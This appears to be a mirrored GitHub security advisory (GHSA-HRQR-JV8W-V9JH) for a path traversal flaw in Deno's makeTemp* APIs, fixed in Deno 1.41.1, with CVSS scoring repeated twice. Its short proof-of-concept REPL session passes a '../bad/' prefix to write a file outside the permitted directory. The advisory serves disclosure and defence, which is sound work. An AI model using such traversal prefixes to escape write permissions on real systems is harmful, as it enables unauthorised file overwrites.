Lucene search

K
githubGitHub Advisory DatabaseGHSA-HRQR-JV8W-V9JH
HistoryMar 05, 2024 - 4:19 p.m.

Insufficient permission checking in `Deno.makeTemp*` APIs

2024-03-0516:19:44
CWE-20
GitHub Advisory Database
github.com
8
insufficient validation
deno.maketempfile
path traversal
directory permission
file overwriting
deno 1.41.1

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

6.9 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.0%

Impact

Insufficient validation of parameters in Deno.makeTemp* APIs would allow for creation of files outside of the allowed directories. This may allow the user to overwrite important files on the system that may affect other systems.

A user may provide a prefix or suffix to a Deno.makeTemp* API containing path traversal characters. The permission check would prompt for the base directory of the API, but the final file that was created would be outside of this directory:

$ mkdir /tmp/good
$ mkdir /tmp/bad
$ deno repl --allow-write=/tmp/good
> Deno.makeTempFileSync({ dir: "/tmp/bad" })
ā”Œ āš ļø  Deno requests write access to "/tmp/bad".
ā”œ Requested by `Deno.makeTempFile()` API.
ā”œ Run again with --allow-write to bypass this prompt.
ā”” Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all write permissions) > n
āŒ Denied write access to "/tmp/bad".
Uncaught PermissionDenied: Requires write access to "/tmp/bad", run again with the --allow-write flag
    at Object.makeTempFileSync (ext:deno_fs/30_fs.js:176:10)
    at <anonymous>:1:27
> Deno.makeTempFileSync({ dir: "/tmp/good", prefix: "../bad/" })
"/tmp/good/../bad/a9432ef5"
$ ls -l /tmp/bad/a9432ef5
-rw-------@ 1 user  group  0 Mar  4 09:20 /tmp/bad/a9432ef5

Patches

This is fixed in Deno 1.41.1.

Affected configurations

Vulners
Node
denodenoRange<1.41.1
CPENameOperatorVersion
denolt1.41.1

5.8 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

6.9 Medium

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.0%

Related for GHSA-HRQR-JV8W-V9JH